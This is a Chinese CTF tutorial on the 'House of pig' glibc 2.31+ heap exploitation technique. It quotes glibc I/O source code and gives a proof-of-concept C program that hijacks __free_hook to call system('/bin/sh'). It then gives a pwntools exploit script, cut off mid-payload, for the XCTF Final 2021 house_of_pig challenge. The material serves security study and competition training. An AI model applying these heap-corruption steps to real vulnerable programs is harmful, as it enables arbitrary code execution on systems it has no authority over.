• House of pig 原理详解&实战


    前言

    该方法适用于 glibc-2.31及其以上版本,基本原理是综合 glibc-2.31下的 largebin attackIO_FILE结构和 tcache stashing unlink这三种利用手法,常用于目标程序中使用 c a l l o c \textcolor{cornflowerblue}{calloc} calloc代替 m a l l o c \textcolor{cornflowerblue}{malloc} malloc分配内存的情形下。

    该方法的核心在于 glibc中的 I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow函数内会连续调用 m a l l o c \textcolor{cornflowerblue}{malloc} malloc m e m c p y \textcolor{cornflowerblue}{memcpy} memcpy f r e e \textcolor{cornflowerblue}{free} free函数的特点,并且这三个函数均由 IO_FILE结构控制。

    0x0 原理

    程序在主函数返回或者使用 e x i t ( ) \textcolor{cornflowerblue}{exit()} exit()函数退出的时候会调用 _ I O _ f l u s h _ a l l _ l o c k p \textcolor{cornflowerblue}{\_IO\_flush\_all\_lockp} _IO_flush_all_lockp函数,该函数部分源码:

    [genops.c:685]

    int
    _IO_flush_all_lockp (int do_lock)
    {
      int result = 0;
      FILE *fp;
    
    ...
    
      for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
        {
    ...
    
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    	   || (_IO_vtable_offset (fp) == 0
    	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    				    > fp->_wide_data->_IO_write_base))
    	   )
    	  && _IO_OVERFLOW (fp, EOF) == EOF)
    	result = EOF;
    ...
        }
    
    ...
    
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    函数遍历\_IO\_FILE\_plus结构体链表 _IO_list_all,该链表默认前 3个节点依次是 _IO_2_1_stderr_-> _IO_2_1_stdout_-> _IO_2_1_stdin_

    \_IO\_FILE\_plus结构体定义如下:

    struct _IO_FILE_plus
    {
      FILE file;// 实际是_IO_FILE结构 +0x00
      const struct _IO_jump_t *vtable; // +0xD8
    };
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    @line:13 当满足如下条件的时候

    fp->_mode <= 0
    fp->_IO_write_ptr > fp->_IO_write_base
    或者:
    _IO_vtable_offset (fp) == 0
    fp->_mode > 0
    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    就会调用 _ I O _ O V E R F L O W \textcolor{cornflowerblue}{\_IO\_OVERFLOW} _IO_OVERFLOW宏,该宏定义首先执行对 vtable的合法性检查

    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
      /* Fast path: The vtable pointer is within the __libc_IO_vtables
         section.  */
      uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
      uintptr_t ptr = (uintptr_t) vtable;
      uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
      if (__glibc_unlikely (offset >= section_length))
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
      return vtable;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    检查的方法就是用 vtab·le指针减去一个全局变量 __start___libc_IO_vtables得到差值 offset,与固定值 section_length作比较,这两个比较的数都是无符号型,如果 offset超过 section_length 就视 vtable为非法指针,直接执行 @line:12结束进程。

    如果检查通过,则调用 v t a b l e + 0 x 18 \textcolor{orange}{vtable+0x18} vtable+0x18指向的函数指针,默认是函数 _ I O _ n e w _ f i l e _ s e t b u f \textcolor{cornflowerblue}{\_IO\_new\_file\_setbuf} _IO_new_file_setbufHouse of pig的精髓正是伪造了\_IO\_FILE_plus结构,将 vtable修改为 _ I O _ s t r _ j u m p s \textcolor{cornflowerblue}{\_IO\_str\_jumps} _IO_str_jumps从而劫持程序流执行 I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow

    I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow部分源码:

    int
    _IO_str_overflow (FILE *fp, int c)
    {
      int flush_only = c == EOF;
      size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (size_t) (_IO_blen (fp) + flush_only))
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    		return EOF;
          else
    	{
    	  char *new_buf;
    	  char *old_buf = fp->_IO_buf_base;
    	  size_t old_blen = _IO_blen (fp);
    	  size_t new_size = 2 * old_blen + 100;
    	  if (new_size < old_blen)
    	    return EOF;
    	  new_buf = malloc (new_size);
    	  if (new_buf == NULL)
    	    {
    	      /*	  __ferror(fp) = 1; */
    	      return EOF;
    	    }
    	  if (old_buf)
    	    {
    	      memcpy (new_buf, old_buf, old_blen);
    	      free (old_buf);
    	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
    	      fp->_IO_buf_base = NULL;
    	    }
    	  memset (new_buf + old_blen, '\0', new_size - old_blen);
    
    	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
    	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
    	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
    	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
    	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
    	  fp->_IO_write_base = new_buf;
    	  fp->_IO_write_end = fp->_IO_buf_end;
    	}
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    重点部分从 @line:27开始,分配内存 new_buf,大小为 old_blen,由宏定义 _ I O _ b l e n \textcolor{cornflowerblue}{\_IO\_blen} _IO_blen计算得到,其定义如下:

    #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
    
    • 1

    可见 old_blen由位于_IO_FILE结构内的 _IO_buf_end_IO_buf_base的差值决定。

    @line:35new_buf写入数据,数据来源于_IO_FILE结构内的 _IO_buf_base

    为了能够使得流程进入 @line:27,需要满足一些前置条件:

    • _IO_FILE结构内的 _flags 取消 _IO_NO_WRITES(0x08)_IO_USER_BUF(0x01) 标志位。
    • 满足 @line:15 的条件。

    假设能够通过 largebin attacktcache stashing unlink将目标块 _ _ f r e e _ h o o k − 0 x 10 \textcolor{orange}{\_\_free\_hook-0x10} __free_hook0x10放到 tcache链表中,到这里就能够利用 I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow将目标块申请回来并修改 _ _ f r e e _ h o o k \textcolor{orange}{\_\_free\_hook} __free_hookone_gadget或者能够 getshell的函数,紧接着释放内存就能够 getshell,这便是 House of pig的精髓!

    为了更好地利用这种方法,现将汇总一下和本次漏洞利用相关的_IO_FILE结构中几个关键字段的偏移

    struct _IO_FILE
    {
      int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */    + 0x00
      /* The following pointers correspond to the C++ streambuf protocol. */
      char *_IO_read_ptr;	/* Current read pointer */                        + 0x10
      char *_IO_read_end;	/* End of get area. */						    + 0x18
      char *_IO_read_base;	/* Start of putback+get area. */				 + 0x20
      char *_IO_write_base;	/* Start of put area. */					    + 0x28
      char *_IO_write_ptr;	/* Current put pointer. */                        + 0x30
      char *_IO_write_end;	/* End of put area. */                            + 0x38
      char *_IO_buf_base;	/* Start of reserve area. */                      + 0x40
      char *_IO_buf_end;	/* End of reserve area. */                        + 0x48
      ...
      struct _IO_FILE *_chain;											  + 0x68
      ...
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    0x1 概念验证

    为了更直观的演示House of pig,我编写了概念验证代码。

    g l i b c 2.31 下运行 \textcolor{green}{glibc2.31下运行} glibc2.31下运行

    #include
    #include
    #include
    
    #define _IO_NO_WRITES 0x08
    #define _IO_NO_USER_BUF 0x01
    
    char* g_heap_list[0x20]={NULL};
    
    int main()
    {
        puts(" ========================================================================");
        puts("|                    Wellcome to the house of pig!                       |");
        puts(" ========================================================================");
        
        size_t __free_hook_addr = (char*)((size_t)&free+1394552);
        size_t _IO_list_all_addr = (size_t)stderr-0x20;
        size_t glibc_base = __free_hook_addr-0x1cce48;
        size_t _IO_str_overflow_vtable = glibc_base+0x1c7578;
        
        puts("\n[*] Info:");
        printf(
            "[+] glibc_base = %p\n"
            "[+] _IO_str_overflow_vtable addr = %p\n"
            "[+] _IO_list_all addr = %p\n"
            "[+] __free_hook addr = %p\n"
            "[+] system addr = %p\n"
            "[+] g_heap_list addr = %p\n",
            glibc_base,
            _IO_str_overflow_vtable,
            _IO_list_all_addr,
            __free_hook_addr,
            (size_t)&system,
            &g_heap_list
            );
        puts("--------------------------------------------------------------------------");
        puts("[*] Step1: Largebin attack __free_hook - 0x28");
        // 分配一个属于largebin的chunk
        g_heap_list[0] = (char*)calloc(0x458,1);
        // 分配一个小的chunk,防止合并
        g_heap_list[1]=(char*)calloc(0x20,1);
        // 分配一个属于largebin的chunk
        g_heap_list[2] = (char*)calloc(0x448,1);
        // 分配一个小的chunk,防止合并
        g_heap_list[3]=(char*)calloc(0x20,1);
        // 实施一次Largebin attack
        free(g_heap_list[0]);
        // 将chunk0放入largebin
        g_heap_list[4]=(char*)calloc(0x500,1);
        // 将chunk2放入unsortedbin
        free(g_heap_list[2]);
        // chunk0->bk_nextsize = __free_hook-0x28
        *(size_t*)(g_heap_list[0]+0x18) = __free_hook_addr-0x28;
        // 实施largebin attack
        g_heap_list[5]=calloc(0x20,1);
        printf("[+] __free_hook-0x8 val = %p\n",*(size_t*)(__free_hook_addr-0x8));
        puts("--------------------------------------------------------------------------");
        puts("[*] Step2: Fix largebin->bk_nextsize");
        // 修复chunk0->bk_nextsize
        *(size_t*)(g_heap_list[0]+0x18) = (size_t)g_heap_list[0]-0x10;
        puts("--------------------------------------------------------------------------");
        puts("[*] Step3: Tcache stashing unlink attack __free_hook - 0x20");
        // 分配一个属于smallbin的chunk
        g_heap_list[6]=(char*)calloc(0x100,1);
        // 释放5次,目的是让chunk6占去Tcache链表5个节点
        for(int i=0;i<5;i++)
        {
            free(g_heap_list[6]);
            *(size_t*)(g_heap_list[6]+0x8)=0;
        }
        // 获取一个smallbin的chunk
        g_heap_list[7]=(char*)calloc(0x310-0x120,1);
        g_heap_list[8]=(char*)calloc(0x130,1);
        // 获取一个smallbin的chunk
        g_heap_list[9]=(char*)calloc(0x320-0x120,1);
        g_heap_list[10]=(char*)calloc(0x130,1);
        // smallbin[0]->bk_nextsize = __free_hook-0x20
        *(size_t*)(g_heap_list[1]-0x108) = __free_hook_addr-0x20;
        // 实施Tcache Stashing Unlink
        g_heap_list[11]=(char*)calloc(0x100,1);
        puts("--------------------------------------------------------------------------");
        puts("[*] Step4: Largebin attack _IO_list_all_addr - 0x20");
        // 分配一个属于largebin的chunk
        g_heap_list[12] = (char*)calloc(0x458,1);
        // 分配一个小的chunk,防止合并
        g_heap_list[13]=(char*)calloc(0x120,1);
        // 分配一个属于largebin的chunk
        g_heap_list[14] = (char*)calloc(0x448,1);
        // 分配一个小的chunk,防止合并,同时作为io_read_base
        g_heap_list[15]=(char*)calloc(0x120,1);
        // 实施一次Largebin attack _IO_list_all
        free(g_heap_list[12]);
        // 将chunk12放入largebin
        g_heap_list[16]=(char*)calloc(0x500,1);
        // 将chunk14放入unsortedbin
        free(g_heap_list[14]);
        // chunk12->bk_nextsize = _IO_list_all - 0x18
        *(size_t*)(g_heap_list[12]+0x18) = _IO_list_all_addr - 0x20;
        // 触发Largebin attack的同时充当io_buf_base
        g_heap_list[17] = (char*)calloc(0x130,1);
        strcpy(g_heap_list[17],"/bin/sh");
        *(size_t*)(g_heap_list[17]+8) = (size_t)system;
        *(size_t*)(g_heap_list[17]+0x10) = (size_t)system;
        *(size_t*)(g_heap_list[17]+0x18) = (size_t)system;
        puts("--------------------------------------------------------------------------");
        puts("[*] Step5: Fake struct _IO_FILE");  
        // 伪造_IO_FILE结构
        // _flags
        *(size_t*)(g_heap_list[12]-0x18)&=~(_IO_NO_WRITES|_IO_NO_USER_BUF);
        // _IO_read_ptr
        *(size_t*)(g_heap_list[12]-0x18+0x10) = 0;
        // _IO_read_end
        *(size_t*)(g_heap_list[12]-0x18+0x18) = 0;
        // _IO_read_base
        *(size_t*)(g_heap_list[12]-0x18+0x20) = 0;
        // _IO_write_base
        *(size_t*)(g_heap_list[12]-0x18+0x28) = (size_t)g_heap_list[0];
        // _IO_write_ptr
        *(size_t*)(g_heap_list[12]-0x18+0x30) = (size_t)g_heap_list[0]+0x100;
        // _IO_write_end
        *(size_t*)(g_heap_list[12]-0x18+0x38) = 0;
        // _IO_buf_base
        *(size_t*)(g_heap_list[12]-0x18+0x40) = (size_t)g_heap_list[17];
        // _IO_buf_end
        *(size_t*)(g_heap_list[12]-0x18+0x48) = (size_t)g_heap_list[17]+(0x100-100)/2;
        // _chain
        *(size_t*)(g_heap_list[12]-0x10+0x68) = 0;
        // _mode
        *(int*)(g_heap_list[12]-0x10+0xc0) = 0;
        // vtable
        *(size_t*)(g_heap_list[12]-0x10+0xd8) = _IO_str_overflow_vtable-0x18; //其实就是_IO_str_jumps地址
        puts("--------------------------------------------------------------------------");
        puts("[*] Get shell!");    
        puts("--------------------------------------------------------------------------");
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136

    0x3 分析

    本节就上面的验证代码进行一些分析。在已知glibc内存地址和堆地址的条件下,整个House of pig的攻击流程主要分为4大步骤:

    1. 利用Largebin攻击 _ _ f r e e _ h o o k   −   0 x 28 \textcolor{orange}{\_\_free\_hook\ -\ 0x28} __free_hook  0x28,攻击成功后会向 _ _ f r e e _ h o o k   −   0 x 8 \textcolor{orange}{\_\_free\_hook\ -\ 0x8} __free_hook  0x8的位置写入一个堆地址。这一步主要是为Tcache stashing unlink创造条件,因为Tcache stashing unlink需要目标块的 bk指针指向可写地址,而 _ _ f r e e _ h o o k   −   0 x 20 \textcolor{orange}{\_\_free\_hook\ -\ 0x20} __free_hook  0x20正是我们的目标块。注意:攻击之后要恢复chunk->bk指针,通常设置成 c h u n k − > b k = c h u n k \textcolor{orange}{chunk->bk=chunk} chunk>bk=chunk
    2. 利用Tcache stashing unlink攻击 _ _ f r e e _ h o o k   −   0 x 20 \textcolor{orange}{\_\_free\_hook\ -\ 0x20} __free_hook  0x20,成功后会将 _ _ f r e e _ h o o k   −   0 x 10 \textcolor{orange}{\_\_free\_hook\ -\ 0x10} __free_hook  0x10地址放入Tcache链表头部。
    3. 利用Largebin攻击 _ I O _ l i s t _ a l l   −   0 x 20 \textcolor{orange}{\_IO\_list\_all\ -\ 0x20} _IO_list_all  0x20,成功后会在 _ I O _ l i s t _ a l l \textcolor{orange}{\_IO\_list\_all} _IO_list_all位置写入一个堆地址。
    4. 在步骤3的基础上可以在堆中伪造_IO_FILE_plus结构。注意:vtable字段不是直接改为 _ I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{\_IO\_str\_overflow} _IO_str_overflow函数地址,而是改为 _ I O _ s t r _ j u m p s \textcolor{cornflowerblue}{\_IO\_str\_jumps} _IO_str_jumps

    如果目标程序存在UFA漏洞并且不限制写入的大小,这种攻击方式应用起来就比较轻松,如果限制了写入的大小就比较考验堆的布局了,更甚者难以利用。

    实际比赛遇到的题目限制比较多,例如限制写入的位置或者大小。这就导致通过 Largebin_Attack攻击 IO_FILE结构后,不能直接在堆中构造关键字段,此时就需要使用struct _IO_FILE *_chain字段。方法就是将当前的 IO_FILE结构中的

    _IO_write_ptr_IO_read_base修改成 0,修改struct _IO_FILE *_chain指向具备伪造关键字段条件的堆。

    这将在 @实战一节体现。

    0x4 总结

    【条件】

    • 能够泄露 glibc内存和堆内存。

    • 目标程序存在 UAF漏洞,或者能够使用已有漏洞修改已经释放的 chunk,写入的大小无限制或者限制比较宽松。

    • 目标程序使用的是 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配内存

    【步骤】

    1. 泄露内存。
    2. 利用Largebin攻击 _ _ f r e e _ h o o k   −   0 x 28 \textcolor{orange}{\_\_free\_hook\ -\ 0x28} __free_hook  0x28,攻击成功后会向 _ _ f r e e _ h o o k   −   0 x 8 \textcolor{orange}{\_\_free\_hook\ -\ 0x8} __free_hook  0x8的位置写入一个堆地址。这一步主要是为Tcache stashing unlink创造条件,因为Tcache stashing unlink需要目标块的 bk指针指向可写地址,而 _ _ f r e e _ h o o k   −   0 x 20 \textcolor{orange}{\_\_free\_hook\ -\ 0x20} __free_hook  0x20正是我们的目标块。注意:攻击之后要恢复chunk->bk指针,通常设置成 c h u n k − > b k = c h u n k \textcolor{orange}{chunk->bk=chunk} chunk>bk=chunk
    3. 利用 Tcache stashing unlink攻击 _ _ f r e e _ h o o k   −   0 x 20 \textcolor{orange}{\_\_free\_hook\ -\ 0x20} __free_hook  0x20,成功后会将 _ _ f r e e _ h o o k   −   0 x 10 \textcolor{orange}{\_\_free\_hook\ -\ 0x10} __free_hook  0x10地址放入 Tcache链表头部。
    4. 利用Largebin攻击 _ I O _ l i s t _ a l l   −   0 x 20 \textcolor{orange}{\_IO\_list\_all\ -\ 0x20} _IO_list_all  0x20,成功后会在 _ I O _ l i s t _ a l l \textcolor{orange}{\_IO\_list\_all} _IO_list_all位置写入一个堆地址。
    5. 在步骤3的基础上可以在堆中伪造_IO_FILE_plus结构。注意:vtable字段不是直接改为 _ I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{\_IO\_str\_overflow} _IO_str_overflow函数地址,而是改为 _ I O _ s t r _ j u m p s \textcolor{cornflowerblue}{\_IO\_str\_jumps} _IO_str_jumps

    注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次 L a r g e b i n _ a t t a c k 再一次 T c a c h e _ s t a s h i n g _ u n l i n k 。 \textcolor{green}{注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次Largebin\_attack再一次Tcache\_stashing\_unlink。} 注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次Largebin_attack再一次Tcache_stashing_unlink

    _IO_FILE_plus模板:

    // 假设在堆 0x10000 中伪造
    *(0x10000+0x28) = 0x00;        				      // _IO_write_base
    *(0x10000+0x30) = xxx1;        					 // _IO_write_ptr,xxx1>xxx2
    *(0x10000+0x40) = chunk1;      					 // _IO_buf_base,chunk1: /bin/sh\x00 system_addr 共16字节数据 
    *(0x10000+0x48) = chunk1+xxx2; 					 // _IO_buf_end,xxx2*2+100 == tcache中free_hook所在的块大小-0x10
    *(0x10000+0x68) = 0; 		  					// _chain
    *(0x10000+0xd8) = _IO_str_overflow_vtable; 		  // _chain
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    0x5 实战

    1.简介

    【XCTF Final 2021】house_of_pig

    【保护】

    在这里插入图片描述

    2.分析

    程序是经典的菜单模式,支持增删改查。程序设定了 3种角色:PeppaMummyDaddy,每种角色都有自己的管理器。

    Peppa角色是默认角色,只能分配 0x90~0x430大小的块,数量上限是 20。每分配一次,就会更新当前分配的大小:

    在这里插入图片描述

    所以分配大小是递增的,这也是一个限制。

    数据的写入方式是从偏移 0开始写 0x10字节,隔 0x20字节写 0x10字节:

    在这里插入图片描述

    Mummy角色只能分配 0x90~0x450大小的块,数量上限是 10。每分配一次,也会更新当前分配的大小,也是递增的。

    数据写入方式是从偏移 0x10开始写 0x10字节,隔 0x20字节写 0x10字节:

    在这里插入图片描述

    Daddy角色只能分配 0x90~0x440大小的块,数量上限是 5。每分配一次,也会更新当前分配的大小,但并不递增:

    在这里插入图片描述

    数据写入方式是从偏移 0x20开始写 0x10字节,隔 0x20字节写 0x10字节:

    在这里插入图片描述

    只能查看两次任意角色数据,并且释放任意角色数据的时候会在两个地方打上标记,防止 double-free

    在这里插入图片描述

    在编辑角色数据的操作中只检查释放操作时打上的其中一个标记:

    在这里插入图片描述

    然而这个标记并不被保存在全局管理器中,在进行其他角色切换到Peppa角色时,该标志会被重置为 0

    在这里插入图片描述

    因此存在 UAF漏洞。

    角色切换需要输入正确的密码,密码开头一个字母代表角色。密码比较用的是 MD5,存在漏洞:

    在这里插入图片描述

    3c4400开头的 MD5是有很多的。所以简单一个脚本即可得到三种角色对应的密码:

    Peppa: A00000000000000000000000000000000000000000000000000000000000zgqv
    Mummy: B00000000000000000000000000000000000000000000000000000000000AIuG
    Daddy: C00000000000000000000000000000000000000000000000000000000000g3Xw
    
    • 1
    • 2
    • 3

    2.EXP

    毫无疑问用的就是本篇介绍的 House_of_pig攻击手法。由于每个角色写入数据的方式不一样,所以在使用Largebin_attack的时候,应选用角色 Mummy。剩下的就是堆布局,经过了大量试错之后得到的 EXP。不要问我为什么这么布局,因为我也是调出来的,这个过程难以描述。。。我TM调了2天~主要还是太菜了T_T

    #encode = utf-8
    from pwn import*
    
    glib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p=process('./pig')
    
    def Add_Msg(size,data):
        p.sendlineafter('Choice:','1')
        p.sendlineafter('size:',str(size))
        p.sendafter('message:',data)
    
    def View_Msg(id):
        p.sendlineafter('Choice:','2')
        p.sendlineafter('index:',str(id))
    
    def Edit_Msg(id,data):
        p.sendlineafter('Choice:','3')
        p.sendlineafter('index:',str(id))
        p.sendlineafter('message:',data)
    
    def Del_Msg(id):
        p.sendlineafter('Choice:','4')
        p.sendlineafter('index:',str(id))
    
    def Change_Roles(r):
        p.sendlineafter('Choice:','5')
        if r=='A':
            p.sendafter('user:','A00000000000000000000000000000000000000000000000000000000000zgqv')
        elif r=='B':
            p.sendafter('user:','B00000000000000000000000000000000000000000000000000000000000AIuG')
        elif r=='C':
            p.sendafter('user:','C00000000000000000000000000000000000000000000000000000000000g3Xw')
        else:
            p.sendlineafter('user:','')
    
    Change_Roles('B')
    Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B0
    Change_Roles('A')
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A0
    Change_Roles('B')
    Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B1
    Change_Roles('A')
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A1
    Change_Roles('B')
    Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B2
    Change_Roles('A')
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A2
    Change_Roles('B')
    Add_Msg(0x440,'A'*(0x10*(0x430//0x30)))#B3
    Change_Roles('A')
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A3
    Change_Roles('B')
    Add_Msg(0x440,'A'*(0x10*(0x430//0x30)))#B4
    Change_Roles('A')
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A4
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A5
    Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A6
    Del_Msg(4)
    Del_Msg(5)
    
    Change_Roles('B')
    Change_Roles('A')
    View_Msg(5)
    p.recvuntil('The message is:')
    heap_base = u64(p.recvline()[1:7].ljust(8,'\x00'))-0x13690
    info('heap_base = '+hex(heap_base))
    
    Change_Roles('A')
    # new A7~A12
    for i in range(6):
        Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))
    # fill tcache with A7~A12
    for i in range(5):
        Del_Msg(i+7)
    
    Change_Roles('B')
    # # free B3 into unsortedbin
    Del_Msg(3)
    # # put B3 into Largebin
    Change_Roles('B')
    Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B5
    # free B0 into unsortedbin
    Change_Roles('B')
    Del_Msg(0)
    
    Change_Roles('A')
    Change_Roles('B')
    View_Msg(0)#B0
    p.recvuntil('The message is:')
    leak = p.recvline()[1:7]
    main_arena_near = u64(leak.ljust(8,'\x00'))
    libc_base = main_arena_near-0x1ecbe0
    free_hook = libc_base+glib.sym['__free_hook']
    IO_list_all = libc_base+glib.sym['_IO_list_all']
    system_addr = libc_base+glib.sym['system']
    _IO_str_overflow_vtable = libc_base+0x1e9578
    info('main_arena_near = '+hex(main_arena_near))
    info('glibc_base = '+hex(libc_base))
    info('free_hook = '+hex(free_hook))
    info('IO_list_all = '+hex(IO_list_all))
    info('system_addr = '+hex(system_addr))
    info('_IO_str_overflow_vtable = '+hex(_IO_str_overflow_vtable))
    # # '''
    # # Largebin attack __free_hook-0x58
    # # '''
    Change_Roles('B')
    Edit_Msg(3,p64(heap_base+0x12d40)+p64(free_hook-0x50))
    # Trigger Largebin attack
    Change_Roles('A')
    Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))#A12
    # recover Largebin[0]->bk_nextsize
    Change_Roles('B')
    Edit_Msg(3,p64(heap_base+0x12d40)*2)
    # '''
    # tacache stashing unlink __free_hook
    # '''
    # make two smallbin chunk
    Change_Roles('A')
    Add_Msg(0x210,'A'*(0x10*(0x210//0x30)))#A13
    Change_Roles('B')
    Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B6
    # free B3 into unsortedbin
    Del_Msg(3)
    
    Change_Roles('A')
    Add_Msg(0x330,'A'*(0x10*(0x330//0x30)))#A14
    
    Change_Roles('B')
    Add_Msg(0x450,'A'*(0x10*(0x450//0x30))+'\n')#B7
    
    Change_Roles('B')
    Edit_Msg(3,'C'*(0x10*(0x440//0x30-5))+p64(heap_base+0x121d0)+p64(free_hook-0x48))
    
    # Tirgger tcache stashing unlink
    Change_Roles('C')
    Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))#C0
    
    Change_Roles('A')
    Del_Msg(13)
    # free B4 into unsortedbin
    Change_Roles('B')
    Del_Msg(4)
    # put B4 into largebin
    Change_Roles('B')
    Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B8
    # free B3 into unsortedbin
    Del_Msg(2)
    Change_Roles('A')
    Change_Roles('B')
    Edit_Msg(4,p64(heap_base+0x13230)+p64(IO_list_all-0x20))
    
    # Trigger Largebin attack
    Change_Roles('A')
    Add_Msg(0x330,'A'*(0x10*(0x330//0x30)))#A15
    
    # Recover Largebin[0]->bk_nextsize
    Change_Roles('B')
    Edit_Msg(4,p64(heap_base+0x13230)*2)
    
    Change_Roles('C')
    Add_Msg(0x430,p64(0)*3+p64(0x15097+heap_base)+p64(0)*40)#C1
    
    # Change_Roles('C')
    Add_Msg(0x430,'C'*(0x10*(0x430//0x30)))#C2
    Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#C3
    Del_Msg(2)
    
    Change_Roles('A')
    Add_Msg(0x330,'A'*(0x10*(0x430//0x30)))#A17
    Change_Roles('C')
    pay='\x00'*31
    pay+=p64(heap_base+0x14700)+p64(heap_base+0x14700+(0x100-100)//2)
    pay+='\x00'*0x30+p8((_IO_str_overflow_vtable-0x18)&0xFF)
    pay=pay.ljust(0x10*(0x430//0x30),'C')
    Edit_Msg(2,pay)
    
    pay='\x00'*0x2f+'\xFF'
    pay+=p8((heap_base+0x151a0)&0xFF)+'\x00'*0x2e
    pay+=p64(_IO_str_overflow_vtable-0x18)
